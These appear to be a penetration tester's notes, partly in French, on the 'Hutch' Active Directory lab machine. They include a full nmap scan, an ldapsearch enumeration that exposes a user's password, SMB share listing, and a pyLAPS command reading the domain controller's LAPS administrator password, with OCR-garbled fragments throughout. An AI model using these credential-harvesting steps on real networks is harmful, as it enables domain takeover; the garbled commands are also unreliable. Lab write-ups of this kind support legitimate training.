AD - Hutch

vendredi 4 avril 2025 11:46

sudo nmap -p- -sV -sC 192.168.135.122 --open

[sudo] password for alice:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-04 11:35 CEST

Nmap scan report for 192.168.135.122

Host is up (0.014s latency).

Not shown: 65514 filtered tcp ports (no-response)

Some closed ports may be reported as filtered due to --defeat-rst-ratelimit

PORT  STATE SERVICE ~ VERSION

53/tcp open domain Simple DNS Plus

80/tcp open http Microsoft IIS httpd 10.0

| http-webdav-scan:

| WebDAV type: Unknown

| Public Options: OPTIONS, TRACE, GET, HEAD, POST, PROPFIND, PROPPATCH, MKCOL, PUT,
DELETE, COPY, MOVE, LOCK, UNLOCK

| Server Type: Microsoft-115/10.0

| Allowed Methods: OPTIONS, TRACE, GET, HEAD, POST, COPY, PROPFIND, DELETE, MOVE,
PROPPATCH, MKCOL, LOCK, UNLOCK

|_ Server Date: Fri, 04 Apr 2025 09:38:45 GMT

| _http-title: 1IS Windows Server

| http-methods:

| _ Potentially risky methods: TRACE COPY PROPFIND DELETE MOVE PROPPATCH MKCOL LOCK
UNLOCK PUT

| _http-server-header: Microsoft-11S/10.0

88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-04 09:37:57Z)
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

389/tcp open Idap Microsoft Windows Active Directory LDAP (Domain: hutch.offsecO., Site:
Default-First-Site-Name)

445/tcp open microsoft-ds?

464/tcp open kpasswd5?

593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0

636/tcp open tcpwrapped

3268/tcp open Idap Microsoft Windows Active Directory LDAP (Domain: hutch.offsecO., Site:
Default-First-Site-Name)

3269/tcp open tcpwrapped

5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

| _http-server-header: Microsoft-HTTPAPI/2.0

| _http-title: Not Found

9389/tcp open mc-nmf .NET Message Framing

49666/tcp open msrpc Microsoft Windows RPC

49668/tcp open msrpc Microsoft Windows RPC

49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0

49674/tcp open msrpc Microsoft Windows RPC

49676/tcp open msrpc Microsoft Windows RPC

49692/tcp open msrpc Microsoft Windows RPC

51868/tcp open msrpc Microsoft Windows RPC

Service Info: Host: HUTCHDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| smb2-security-mode:

| 3:1:1:

|_ Message signing enabled and required
| smb2-time:

| date: 2025-04-04T09:38:49

|_ start_date: N/A

| _clock-skew: 1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 221.74 seconds
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Avec ldapsearch on trouve des users :

Idapsearch -x -H Idap://192.168.171.122:389 -s sub -b "dc=hutch,dc=offsec"

CrabSharkJellyfish192

fmcsorley : CrabSharkJellyfish192
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[+] hut
[+]

Share

Remote Admin

Default share

Remote IPC

Logon s er share
SYSVOL Logon server share

fmcsorley” -p 'CrabSharkJellyf

PSPassword
Windows Abuse Linux Abuse

The user FMCSORLEY@HUTCH.OFFSEC has the ability to read the password set by
Local Administrator Password Solution (LAPS) on the computer
HUTCHDC.HUTCH.OFFSEC

The local administrator password for a computer managed by LAPS is stored in the
confidential LDAP attribute, "ms-mcs-AdmPwd"

https://github.com/p0dalirius/pyLAPS

PYLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword" --
dc-ip @IP
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"fmcsorley” -p “"CrabSharkJel

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this

Et j'ai le local aussi.
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